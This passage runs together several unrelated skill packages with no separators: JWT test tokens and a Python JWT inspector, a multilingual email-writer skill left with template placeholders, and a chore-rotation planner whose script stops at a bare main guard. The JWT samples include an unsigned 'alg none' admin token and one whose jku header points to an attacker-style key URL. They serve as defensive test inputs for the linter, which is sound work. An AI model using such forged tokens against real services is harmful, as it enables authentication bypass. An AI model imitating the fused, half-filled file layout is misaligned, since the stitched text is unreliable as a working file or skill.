eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJjdXN0Xzg4NDEiLCJhdWQiOlsiYXBpOi8vb3JkZXJzIiwiYXBpOi8vcHJvZmlsZSJdLCJpYXQiOjE3OTIzOTUwMDAsImV4cCI6MTc5Mjk5OTgwMCwiZW1haWwiOiJtaW5hQGV4YW1wbGUuY29tIiwicm9sZXMiOlsiY3VzdG9tZXIiXSwiY2FyZF9sYXN0NCI6IjQyNDIifQ.xupeoN2LYDYe-FKD_4qOh7KCw6G68Zi1pCms7dtUGh0
```
Expected: exit 0; medium lifetime_long (7.0d over 1.0d policy), medium sensitive_claim (card_last4). With `--secret-env` set to "dev-secret": signature verified, plus medium weak_secret (10 bytes).
## 2. Unsigned admin token (alg none)
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjM5NTAwMH0.
```
Expected: exit 1; high alg_none, high aud_mismatch (no aud but api://orders required), medium exp_missing.
## 3. Remote key URL and millisecond expiry (RS256)
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8va2V5cy5hdHRhY2tlci5leGFtcGxlL2p3a3MuanNvbiJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJzdmMtcmVwb3J0cyIsImF1ZCI6ImFwaTovL29yZGVycyIsImlhdCI6MTc5MjM5NTAwMCwiZXhwIjoxNzkyMzk4NjAwMDAwfQ.bm90LWEtcmVhbC1zaWduYXR1cmUtanVzdC1hLWRlbW8
```
Expected: exit 1; high exp_milliseconds, high header_jku, low kid_missing.
FILE:scripts/jwt_inspect.py
#!/usr/bin/env python3
"""JWT token inspector and claim linter (Python 3 standard library only).
Decodes a JSON Web Token (JWS compact form: header.payload.signature) WITHOUT trusting it,
prints the header and claims with human-readable times, and flags risky or broken settings.
Optionally verifies HS256/HS384/HS512 signatures when you pass the shared secret.
Usage:
python3 jwt_inspect.py <token> # or "-" to read the token from stdin
python3 jwt_inspect.py <token> --now 2026-10-19T09:00:00Z --leeway 60
python3 jwt_inspect.py <token> --expect-iss https://auth.example.com --expect-aud api://orders
python3 jwt_inspect.py <token> --secret-env JWT_SECRET # verify HS* with a secret from an env var
python3 jwt_inspect.py <token> --max-lifetime 3600 --json
python3 jwt_inspect.py --self-test
Severity: high (token unsafe or unusable), medium (likely bug or weak policy), low (hygiene).
Exit code: 0 no high findings, 1 at least one high finding (or --strict and any finding), 2 bad input.
The signature itself is never printed; only its length and a short SHA-256 fingerprint of the token.
"""
import argparse
import base64
import datetime as dt
import hashlib
import hmac
import json
import os
import re
import sys
HS_ALGS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
MIN_HS_SECRET = {"HS256": 32, "HS384": 48, "HS512": 64}
KNOWN_ALGS = set(HS_ALGS) | {"RS256", "RS384", "RS512", "PS256", "PS384", "PS512",
"ES256", "ES384", "ES512", "EdDSA"}
SENSITIVE = re.compile(r"(pass(word)?|pwd|secret|ssn|social|credit|card|cvv|iban|private|api_?key|refresh_?token)", re.I)
TIME_CLAIMS = ("exp", "nbf", "iat")
class TokenError(ValueError):
pass
def b64url_decode(part, what):
if not re.fullmatch(r"[A-Za-z0-9_-]*", part):
raise TokenError(f"{what} is not base64url (found characters outside A-Z a-z 0-9 - _ or '=' padding)")
try:
return base64.urlsafe_b64decode(part + "=" * (-len(part) % 4))
except (ValueError, TypeError) as e:
raise TokenError(f"{what} could not be base64url-decoded: {e}")
def b64url_encode(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def decode(token):
token = token.strip()
if token.lower().startswith("bearer "):
token = token[7:].strip()
parts = token.split(".")
if len(parts) == 5:
raise TokenError("5 segments: this is an encrypted JWE, not a signed JWS; it cannot be inspected without the key")
if len(parts) != 3:
raise TokenError(f"expected 3 dot-separated segments, found {len(parts)}")
out = {}
for name, part in (("header", parts[0]), ("payload", parts[1])):
raw = b64url_decode(part, name)
try:
obj = json.loads(raw.decode("utf-8"))
except (UnicodeDecodeError, ValueError):
raise TokenError(f"{name} is not valid UTF-8 JSON")
if not isinstance(obj, dict):
raise TokenError(f"{name} must be a JSON object")
out[name] = obj
out["signature"] = b64url_decode(parts[2], "signature")
out["signing_input"] = (parts[0] + "." + parts[1]).encode("ascii")
out["fingerprint"] = hashlib.sha256(token.encode("utf-8")).hexdigest()[:12]
return out
def parse_now(value):
if value is None:
return int(dt.datetime.now(dt.timezone.utc).timestamp())
if re.fullmatch(r"\d+", value):
return int(value)
t = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return int(t.timestamp())
def iso(ts):
try:
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
except (OverflowError, OSError, ValueError, TypeError):
return "invalid"
def human_delta(seconds):
s = abs(int(seconds))
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= size:
return f"{s / size:.1f}{unit}"
return f"{s}s"
def verify_hs(tok, secret):
alg = tok["header"].get("alg")
fn = HS_ALGS.get(alg)
if fn is None:
return None
mac = hmac.new(secret.encode("utf-8"), tok["signing_input"], fn).digest()
return hmac.compare_digest(mac, tok["signature"])
def inspect(token, now=None, leeway=0, expect_iss=None, expect_aud=None, max_lifetime=86400, secret=None):
tok = decode(token)
h, p = tok["header"], tok["payload"]
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
alg = h.get("alg")
if alg is None:
add("high", "alg_missing", "header has no 'alg'; libraries may reject it or guess")
elif str(alg).lower() == "none":
add("high", "alg_none", "alg is 'none': the token is unsigned and anyone can forge it")
if tok["signature"]:
add("medium", "none_with_signature", "alg 'none' but a signature segment is present")
elif alg not in KNOWN_ALGS:
add("medium", "alg_unknown", f"unusual alg '{alg}'")
if alg and str(alg).lower() != "none" and not tok["signature"]:
add("high", "signature_empty", "signature segment is empty although alg requires one")
for key in ("jku", "x5u"):
if key in h:
add("high", f"header_{key}", f"header '{key}' points to a remote key URL ({h[key]}); never fetch keys from a URL inside the token")
if "jwk" in h:
add("high", "header_jwk", "header embeds its own 'jwk'; a verifier that trusts it accepts attacker keys")
if "crit" in h:
add("medium", "header_crit", f"'crit' lists extensions {h['crit']}; verifiers must understand them or reject the token")
if alg in KNOWN_ALGS and alg not in HS_ALGS and "kid" not in h:
add("low", "kid_missing", "asymmetric alg without 'kid'; key rotation will be painful")
now = parse_now(now) if not isinstance(now, int) else now
times = {}
for c in TIME_CLAIMS:
if c in p:
v = p[c]
if isinstance(v, bool) or not isinstance(v, (int, float)):
add("high", f"{c}_not_numeric", f"'{c}' must be NumericDate seconds, got {v!r}")
elif v > 10**11:
add("high", f"{c}_milliseconds", f"'{c}'={v} looks like milliseconds; JWT uses seconds")
else:
times[c] = int(v)
if "exp" not in p:
add("medium", "exp_missing", "no 'exp': the token never expires")
elif "exp" in times and times["exp"] + leeway < now:
add("high", "expired", f"expired at {iso(times['exp'])} ({human_delta(now - times['exp'])} ago)")
if "nbf" in times and times["nbf"] - leeway > now:
add("high", "not_yet_valid", f"not valid before {iso(times['nbf'])} ({human_delta(times['nbf'] - now)} from now)")
if "iat" in times and times["iat"] - leeway > now:
add("medium", "iat_future", f"issued in the future ({iso(times['iat'])}); check clock skew")
if "exp" in times and "iat" in times:
life = times["exp"] - times["iat"]
if life <= 0:
add("high", "exp_before_iat", "exp is not after iat")
elif max_lifetime and life > max_lifetime:
add("medium", "lifetime_long", f"lifetime {human_delta(life)} exceeds policy {human_delta(max_lifetime)}")
if "iss" not in p:
add("low", "iss_missing", "no 'iss'; verifiers cannot pin the issuer")
elif expect_iss and p["iss"] != expect_iss:
add("high", "iss_mismatch", f"iss '{p['iss']}' != expected '{expect_iss}'")
aud = p.get("aud")
auds = aud if isinstance(aud, list) else ([aud] if aud is not None else [])
if aud is None and expect_aud:
add("high", "aud_mismatch", f"no 'aud' claim but '{expect_aud}' is required")
elif aud is None:
add("low", "aud_missing", "no 'aud'; the token could be replayed against another service")
elif expect_aud and expect_aud not in auds:
add("high", "aud_mismatch", f"aud {auds} does not contain expected '{expect_aud}'")
if "sub" not in p:
add("low", "sub_missing", "no 'sub'; who is this token about?")
for k in p:
if SENSITIVE.search(k):
add("medium", "sensitive_claim", f"claim '{k}' looks sensitive; JWT payloads are only encoded, not encrypted")
verified = None
if secret is not None:
if alg not in HS_ALGS:
add("low", "verify_skipped", f"--secret only verifies HS256/384/512; alg is {alg}")
else:
verified = verify_hs(tok, secret)
if not verified:
add("high", "bad_signature", "HMAC signature does NOT match the given secret")
if len(secret.encode("utf-8")) < MIN_HS_SECRET[alg]:
add("medium", "weak_secret", f"{alg} secret is {len(secret.encode('utf-8'))} bytes; use at least {MIN_HS_SECRET[alg]} random bytes")
order = {"high": 0, "medium": 1, "low": 2}
findings.sort(key=lambda f: (order[f["severity"]], f["code"]))
return {
"fingerprint": tok["fingerprint"],
"header": h,
"payload": p,
"times": {c: iso(v) for c, v in times.items()},
"now": iso(now),
"signature_bytes": len(tok["signature"]),
"signature_verified": verified,
"findings": findings,
}
def to_markdown(r):
lines = [f"# JWT inspection (sha256 {r['fingerprint']})", "",
f"Checked at {r['now']}. Signature: {r['signature_bytes']} bytes"
+ ("" if r["signature_verified"] is None else (", verified OK" if r["signature_verified"] else ", NOT verified")), "",
"## Header", "```json", json.dumps(r["header"], indent=2, ensure_ascii=False), "```", "",
"## Claims", "```json", json.dumps(r["payload"], indent=2, ensure_ascii=False), "```", ""]
if r["times"]:
lines += ["| Claim | UTC |", "|---|---|"] + [f"| {k} | {v} |" for k, v in r["times"].items()] + [""]
lines += ["## Findings"]
if not r["findings"]:
lines.append("No findings.")
else:
lines += ["| Severity | Code | Detail |", "|---|---|---|"]
lines += [f"| {f['severity']} | {f['code']} | {f['message']} |" for f in r["findings"]]
return "\n".join(lines)
def make_token(header, payload, secret=None, signature=b""):
si = b64url_encode(json.dumps(header, separators=(",", ":")).encode()) + "." + \
b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
if secret is not None:
signature = hmac.new(secret.encode(), si.encode(), HS_ALGS[header["alg"]]).digest()
return si + "." + b64url_encode(signature)
def self_test():
now = 1760860800 # 2025-10-19T08:00:00Z
strong = "k" * 40
good_claims = {"iss": "https://auth.example.com", "sub": "user-42", "aud": "api://orders",
"iat": now - 60, "exp": now + 840}
good = make_token({"alg": "HS256", "typ": "JWT"}, good_claims, strong)
codes = lambda r: {f["code"] for f in r["findings"]}
cases = []
def check(name, cond):
cases.append((name, bool(cond)))
r = inspect(good, now=now, secret=strong, expect_iss="https://auth.example.com", expect_aud="api://orders")
check("clean token has no findings", r["findings"] == [])
check("clean token signature verified", r["signature_verified"] is True)
check("bearer prefix accepted", inspect("Bearer " + good, now=now)["payload"]["sub"] == "user-42")
check("wrong secret flagged", "bad_signature" in codes(inspect(good, now=now, secret="x" * 40)))
check("weak secret flagged", "weak_secret" in codes(inspect(make_token({"alg": "HS256"}, good_claims, "short"), now=now, secret="short")))
check("alg none flagged high", "alg_none" in codes(inspect(make_token({"alg": "none"}, good_claims), now=now)))
check("expired flagged", "expired" in codes(inspect(good, now=now + 3600)))
check("leeway tolerates small skew", "expired" not in codes(inspect(good, now=now + 850, leeway=30)))
check("nbf in future flagged", "not_yet_valid" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, nbf=now + 600), strong), now=now)))
check("exp missing flagged", "exp_missing" in codes(inspect(make_token({"alg": "HS256"}, {"sub": "a", "iat": now}, strong), now=now)))
check("milliseconds exp flagged", "exp_milliseconds" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=(now + 600) * 1000), strong), now=now)))
check("long lifetime flagged", "lifetime_long" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=now + 30 * 86400), strong), now=now)))
check("iss mismatch flagged", "iss_mismatch" in codes(inspect(good, now=now, expect_iss="https://evil.example")))
check("aud list accepted", "aud_mismatch" not in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, aud=["a", "api://orders"]), strong), now=now, expect_aud="api://orders")))
check("aud mismatch flagged", "aud_mismatch" in codes(inspect(good, now=now, expect_aud="api://billing")))
check("missing aud with expected aud is high", "aud_mismatch" in codes(inspect(make_token({"alg": "HS256"}, {k: v for k, v in good_claims.items() if k != "aud"}, strong), now=now, expect_aud="api://orders")))
check("jku header flagged", "header_jku" in codes(inspect(make_token({"alg": "RS256", "kid": "1", "jku": "https://x/keys"}, good_claims, signature=b"sig"), now=now)))
check("rs256 without kid is low", "kid_missing" in codes(inspect(make_token({"alg": "RS256"}, good_claims, signature=b"sig"), now=now)))
check("sensitive claim flagged", "sensitive_claim" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, password="hunter2"), strong), now=now)))
check("empty signature flagged", "signature_empty" in codes(inspect(make_token({"alg": "HS256"}, good_claims), now=now)))
for bad, label in (("abc.def", "two segments rejected"), ("a.b.c.d.e", "JWE rejected"), ("!!.e30.", "bad base64 rejected")):
try:
inspect(bad, now=now)
check(label, False)
except TokenError:
check(label, True)
check("markdown never prints signature", make_token({"alg": "HS256"}, good_claims, strong).split(".")[2] not in to_markdown(r))
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Decode and lint a JWT without trusting it.")
ap.add_argument("token", nargs="?", help="JWT string, or '-' to read from stdin")
ap.add_argument("--now", help="reference time: ISO 8601 (Z or offset) or epoch seconds; default: current UTC time")
ap.add_argument("--leeway", type=int, default=0, help="allowed clock skew in seconds (default 0)")
ap.add_argument("--expect-iss")
ap.add_argument("--expect-aud")
ap.add_argument("--max-lifetime", type=int, default=86400, help="max exp-iat seconds before warning (0 = off)")
ap.add_argument("--secret-env", help="name of an environment variable holding the HS* secret (avoids shell history)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.token:
ap.error("token required (or --self-test)")
token = sys.stdin.read() if a.token == "-" else a.token
secret = None
if a.secret_env:
secret = os.environ.get(a.secret_env)
if secret is None:
print(f"error: environment variable {a.secret_env} is not set", file=sys.stderr)
return 2
try:
r = inspect(token, now=a.now, leeway=a.leeway, expect_iss=a.expect_iss, expect_aud=a.expect_aud,
max_lifetime=a.max_lifetime, secret=secret)
except (TokenError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
if any(f["severity"] == "high" for f in r["findings"]) or (a.strict and r["findings"]):
return 1
return 0
if __name__ == "__main__":
sys.exit(main())Act as an expert in professional email writing across all major world languages. Write polished emails with a precise subject, elegant introduction, coherent body, and professional conclusion, using flawless, natural, culturally appropriate language. Adapt tone to the recipient and context, preserve facts and intent, transform notes into ready-to-send emails, and avoid literal translations or invented information.
--- name: professional-multilingual-email-writer description: Act as an expert in professional email writing across all major world languages. Write polished emails with a precise subject, elegant introduction, coherent body, and professional conclusion, using flawless, natural, culturally appropriate language. Adapt tone to the recipient and context, preserve facts and intent, transform notes into ready-to-send emails, and avoid literal translations or invented information. --- Act as an expert in professional email writing across all major world languages. - Draft and refine emails with a precise subject, elegant introduction, coherent body, and polished conclusion, using flawless grammar, natural phrasing, professional terminology, and culturally appropriate formal or diplomatic language. - Adapt emails to the recipient and context, transform brief notes into ready-to-send messages, preserve original meaning and facts, avoid repetition and literal translations, and never invent information. --- # My Skill Describe what this skill does and how the agent should use it. ## Instructions - Step 1: ... - Step 2: ...
Plans a fair, rotating weekly chore schedule for a household: weighs each chore by minutes and frequency, respects capacity shares and "cannot do" limits, rotates jobs week to week, and reports each person's load against a fair target. Use when roommates or families argue about chores or ask "who does what this month?". Includes a stdlib Python planner with --self-test.
---
name: household-chore-rotation-planner
description: Plans a fair, rotating weekly chore schedule for a household: weighs each chore by minutes and frequency, respects capacity shares and "cannot do" limits, rotates jobs week to week, and reports each person's load against a fair target. Use when roommates or families argue about chores or ask "who does what this month?". Includes a stdlib Python planner with --self-test.
---
# Household Chore Rotation Planner
You help households (roommates, couples, families with kids) split chores fairly and rotate them so nobody is stuck with the worst jobs forever. You measure fairness in minutes, not in number of tasks, adjust for each person's capacity, respect real limits (age, allergies, health, skills), and produce a schedule people can stick on the fridge. You stay neutral and kind; you never take sides in a household argument.
## Files in this skill
- `scripts/chore_rotation.py` - builds a multi-week rotation from a JSON list of people and chores and reports minutes vs fair target per person (Python 3 standard library only)
- `references/chore-time-estimates.md` - typical minutes for common chores to use as defaults
- `references/fairness-and-agreements.md` - how to set shares, handle swaps, and run a short house meeting
- `templates/rotation-chart.md` - printable weekly chart plus a house agreement section
- `examples/household.json` - four-person sample household with constraints
## Workflow
### 1. Gather the household
Ask for:
- People and their capacity: full share (1.0), reduced share (for example 0.5 for a young child or someone working night shifts), or larger share by agreement
- Hard limits: chores someone cannot do (`cannot`), or chores only certain people can do (`only`, for example cooking or driving)
- Chores with realistic minutes per session and times per week; use `references/chore-time-estimates.md` when unsure
- How many weeks to plan (4 is a good default) and any preferences ("I would rather cook than clean the bathroom")
### 2. Build the input and run the planner
```
python3 scripts/chore_rotation.py examples/household.json
python3 scripts/chore_rotation.py my-house.json --weeks 6 --json
python3 scripts/chore_rotation.py --self-test
```
Exit code 1 means a chore has no eligible person (fix the `cannot`/`only` lists); 2 means bad input.
### 3. Check fairness
Read the "Overall fairness" table. Within about 10% of target is good. If someone is far off, adjust minutes, split a big chore (for example "Laundry - wash" and "Laundry - fold"), or change shares by agreement, then rerun.
### 4. Apply preferences
The planner balances minutes; it does not know who hates what. Offer swaps of similar minutes between people, and keep the totals close. If a heavy chore lands on the same person every week because of constraints, say so and suggest splitting it.
### 5. Deliver
Fill `templates/rotation-chart.md` with the weekly tables, a short house agreement (swap rules, what "done" means, a monthly check-in), and a friendly group message under 80 words announcing the plan.
## Rules
- Fairness is measured in minutes weighted by agreed shares, not task counts.
- Never assign unsafe chores to children (sharp tools, strong chemicals, ladders, hot ovens without supervision).
- Keep the tone neutral; describe loads with numbers, not blame.
- Invisible work counts: planning meals, booking repairs, and buying supplies can be added as chores with minutes.
FILE:references/chore-time-estimates.md
# Typical chore times (defaults, adjust to your home)
| Chore | Minutes per session | Common frequency |
|---|---|---|
| Dishes / load and unload dishwasher | 15-25 | daily |
| Cook dinner | 30-60 | 3-7 per week |
| Meal planning and grocery list | 20-30 | weekly |
| Grocery run | 45-75 | weekly |
| Laundry (wash, dry, fold, put away) | 40-60 per load | 2-4 loads per week |
| Bathroom clean (sink, toilet, shower, floor) | 30-45 | weekly |
| Kitchen deep clean (counters, stovetop, fridge wipe) | 30-40 | weekly |
| Vacuum and mop | 30-45 | 1-2 per week |
| Dusting | 15-20 | weekly |
| Trash and recycling out | 5-10 | 2-3 per week |
| Change bed linens | 15 per bed | every 1-2 weeks |
| Water plants | 5-15 | 2 per week |
| Pet feeding | 5 | daily, often twice |
| Litter box / pet cleanup | 5 | daily |
| Dog walk | 20-30 | 1-3 per day |
| Mow lawn | 40-60 | weekly in season |
| Clean oven | 30-45 | monthly |
| Pay bills and admin | 20-30 | weekly |
Tips
- Time one session with a phone timer if people disagree about how long a chore takes.
- Split chores that are both long and unpopular so they can rotate more easily.
- Seasonal chores (snow shoveling, gutters) can be added only for the weeks they apply.
FILE:references/fairness-and-agreements.md
# Fairness and house agreements
## Setting shares
- Start everyone at 1.0. Lower shares only by explicit agreement (age, health, very long work hours, exams).
- Children: roughly 0.25-0.5 with age-appropriate chores only.
- Someone who pays more rent or does more invisible work may get a lower chore share; write it down.
## What "done" means
Agree on a one-line definition per chore, for example "Dishes: sink empty, counters wiped, dishwasher running".
## Swaps
- Swaps are fine if both people agree and minutes are similar.
- Post swaps in the group chat so nobody is surprised.
- A missed chore is made up within 48 hours or swapped, not silently skipped.
## 15-minute monthly check-in
1. Each person: one thing working, one thing not (2 minutes each).
2. Look at the fairness table; adjust minutes or shares if reality changed.
3. Decide on one improvement for next month.
4. Regenerate the rotation.
## Handling conflict
- Talk about the system, not the person ("Bathroom keeps slipping on Thursdays" instead of "You never clean").
- If one person carries far more invisible work, add it to the chore list with minutes.
FILE:templates/rotation-chart.md
# Chore Rotation - <household name>
**Period:** <start date> to <end date> **People:** <names and shares>
## Week 1 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Week 2 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Fairness (minutes)
| Person | Share | Minutes | Target | Deviation |
|---|---|---|---|---|
## House agreement
- "Done" means:
- Swap rule:
- Missed chore rule:
- Monthly check-in date:
## Group message
> Hi all! New chore rotation for <period> is on the fridge and pinned here. Loads are balanced by time. Swaps are fine, just post them. Check-in on <date>.
FILE:examples/household.json
{
"weeks": 4,
"people": [
{"name": "Leyla", "share": 1.0},
{"name": "Tom", "share": 1.0, "cannot": ["Litter box"]},
{"name": "Deniz", "share": 0.5, "cannot": ["Clean oven", "Mow lawn"]},
{"name": "Sam", "share": 0.75}
],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Cook dinner", "minutes": 45, "times_per_week": 3, "only": ["Leyla", "Tom", "Sam"]},
{"name": "Laundry", "minutes": 40, "times_per_week": 2},
{"name": "Bathroom clean", "minutes": 40, "times_per_week": 1},
{"name": "Vacuum and mop", "minutes": 35, "times_per_week": 2},
{"name": "Trash and recycling", "minutes": 10, "times_per_week": 3},
{"name": "Grocery run", "minutes": 60, "times_per_week": 1},
{"name": "Litter box", "minutes": 5, "times_per_week": 7},
{"name": "Water plants", "minutes": 10, "times_per_week": 2},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Clean oven", "minutes": 30, "times_per_week": 1}
]
}
FILE:scripts/chore_rotation.py
#!/usr/bin/env python3
"""Fair household chore rotation planner (Python 3 standard library only).
Input JSON:
{
"weeks": 4,
"people": [{"name": "Ana", "share": 1.0, "cannot": ["Mow lawn"]}, ...],
"chores": [{"name": "Dishes", "minutes": 20, "times_per_week": 7, "only": ["Ana", "Ben"]}, ...]
}
share: relative capacity (1.0 = normal; 0.5 = half load, e.g. a child or someone with long shifts)
cannot / only: hard constraints (allergies, age, physical limits, skills)
Algorithm per week: chores sorted by weekly minutes (largest first) go to the eligible person with the
lowest (load / share); ties are broken in favor of someone who did NOT have that chore last week,
so chores rotate. Reports per-person minutes, target minutes, and deviation.
Exit code: 0 OK, 1 if a chore has no eligible person, 2 on bad input.
"""
import argparse
import json
import sys
class PlanError(ValueError):
pass
def validate(data):
people = data.get("people") or []
chores = data.get("chores") or []
if not people:
raise PlanError("need at least one person")
if not chores:
raise PlanError("need at least one chore")
names = [p["name"] for p in people]
if len(set(names)) != len(names):
raise PlanError("duplicate person names")
for p in people:
if float(p.get("share", 1.0)) <= 0:
raise PlanError(f"share must be > 0 for {p['name']}")
for c in chores:
if float(c.get("minutes", 0)) <= 0 or float(c.get("times_per_week", 1)) <= 0:
raise PlanError(f"minutes and times_per_week must be > 0 for {c.get('name')}")
for n in c.get("only", []):
if n not in names:
raise PlanError(f"chore {c['name']} lists unknown person {n}")
return people, chores
def weekly_minutes(chore):
return float(chore["minutes"]) * float(chore.get("times_per_week", 1))
def eligible(person, chore):
if chore.get("only") and person["name"] not in chore["only"]:
return False
return chore["name"] not in person.get("cannot", [])
def plan_week(people, chores, last_week=None):
"""Return (assignment {chore: person}, loads {person: minutes}, unassigned [chore])."""
last_week = last_week or {}
loads = {p["name"]: 0.0 for p in people}
assignment = {}
unassigned = []
order = sorted(chores, key=lambda c: (-weekly_minutes(c), c["name"]))
for c in order:
cands = [p for p in people if eligible(p, c)]
if not cands:
unassigned.append(c["name"])
continue
w = weekly_minutes(c)
def key(p):
share = float(p.get("share", 1.0))
after = (loads[p["name"]] + w) / share
repeat = 1 if last_week.get(c["name"]) == p["name"] else 0
return (round(after, 6), repeat, p["name"])
# prefer rotation when loads are close: compare within a 10% band of the best option
ranked = sorted(cands, key=key)
best = key(ranked[0])[0]
band = [p for p in ranked if key(p)[0] <= best * 1.10 + 1e-9]
band.sort(key=lambda p: (key(p)[1], key(p)[0], p["name"]))
chosen = band[0]
assignment[c["name"]] = chosen["name"]
loads[chosen["name"]] += w
return assignment, loads, unassigned
def fairness(people, loads):
total = sum(loads.values())
total_share = sum(float(p.get("share", 1.0)) for p in people)
rows = []
for p in people:
target = total * float(p.get("share", 1.0)) / total_share
got = loads[p["name"]]
dev = (got - target) / target * 100 if target else 0.0
rows.append({"name": p["name"], "minutes": round(got, 1), "target": round(target, 1),
"deviation_pct": round(dev, 1)})
return rows
def plan(data):
people, chores = validate(data)
weeks = int(data.get("weeks", 4))
result = []
cumulative = {p["name"]: 0.0 for p in people}
last = None
for wk in range(1, weeks + 1):
assignment, loads, unassigned = plan_week(people, chores, last)
for k, v in loads.items():
cumulative[k] += v
result.append({"week": wk, "assignment": assignment, "fairness": fairness(people, loads),
"unassigned": unassigned})
last = assignment
return {"weeks": result, "overall": fairness(people, cumulative)}
def render(res):
out = []
for w in res["weeks"]:
out.append(f"## Week {w['week']}")
out.append("| Chore | Who |")
out.append("|---|---|")
for chore, who in sorted(w["assignment"].items()):
out.append(f"| {chore} | {who} |")
for u in w["unassigned"]:
out.append(f"| {u} | UNASSIGNED (no eligible person) |")
out.append("")
out.append("## Overall fairness (minutes across all weeks)")
out.append("| Person | Minutes | Target | Deviation |")
out.append("|---|---|---|---|")
for r in res["overall"]:
out.append(f"| {r['name']} | {r['minutes']} | {r['target']} | {r['deviation_pct']:+.1f}% |")
return "\n".join(out)
def self_test():
base = {
"weeks": 4,
"people": [{"name": "Ana"}, {"name": "Ben"}, {"name": "Cem", "share": 0.5, "cannot": ["Mow lawn"]}],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Laundry", "minutes": 60, "times_per_week": 2},
{"name": "Bathroom", "minutes": 45, "times_per_week": 1},
{"name": "Vacuum", "minutes": 30, "times_per_week": 2},
{"name": "Trash", "minutes": 5, "times_per_week": 3},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Feed cat", "minutes": 5, "times_per_week": 14, "only": ["Cem", "Ana"]},
],
}
res = plan(base)
w1 = res["weeks"][0]["assignment"]
lawn_never_cem = all(w["assignment"]["Mow lawn"] != "Cem" for w in res["weeks"])
cat_ok = all(w["assignment"]["Feed cat"] in ("Cem", "Ana") for w in res["weeks"])
dishes_people = {w["assignment"]["Dishes"] for w in res["weeks"]}
overall = {r["name"]: r for r in res["overall"]}
max_dev = max(abs(r["deviation_pct"]) for r in res["overall"])
two = plan({"weeks": 2, "people": [{"name": "A"}, {"name": "B"}],
"chores": [{"name": "X", "minutes": 10}, {"name": "Y", "minutes": 10}]})
rotated = two["weeks"][0]["assignment"]["X"] != two["weeks"][1]["assignment"]["X"]
orphan = plan({"weeks": 1, "people": [{"name": "A", "cannot": ["Z"]}], "chores": [{"name": "Z", "minutes": 5}]})
errors = []
for bad in ({"people": [], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}, {"name": "A"}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A", "share": 0}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 0}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 1, "only": ["Q"]}]}):
try:
plan(bad)
errors.append(False)
except PlanError:
errors.append(True)
cases = [
("all_chores_assigned_w1", len(w1), 7),
("weekly_minutes", weekly_minutes(base["chores"][0]), 140.0),
("cannot_respected", lawn_never_cem, True),
("only_respected", cat_ok, True),
("dishes_rotate", len(dishes_people) >= 2, True),
("half_share_lower_load", overall["Cem"]["minutes"] < overall["Ana"]["minutes"], True),
("overall_fair_within_25pct", max_dev <= 25.0, True),
("targets_sum_to_total", round(sum(r["target"] for r in res["overall"]), 0) == round(sum(r["minutes"] for r in res["overall"]), 0), True),
("equal_tie_rotates", rotated, True),
("orphan_reported", orphan["weeks"][0]["unassigned"], ["Z"]),
("bad_inputs_rejected", errors, [True] * 5),
("render_has_header", render(res).startswith("## Week 1"), True),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Plan a fair, rotating household chore schedule.")
p.add_argument("input", nargs="?", help="JSON file with weeks, people, chores")
p.add_argument("--weeks", type=int, help="override number of weeks")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.input:
p.error("give an input JSON file, or --self-test")
try:
with open(a.input, encoding="utf-8") as fh:
data = json.load(fh)
if a.weeks:
data["weeks"] = a.weeks
res = plan(data)
except (OSError, json.JSONDecodeError, PlanError, KeyError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else render(res))
return 1 if any(w["unassigned"] for w in res["weeks"]) else 0
if __name__ == "__main__":
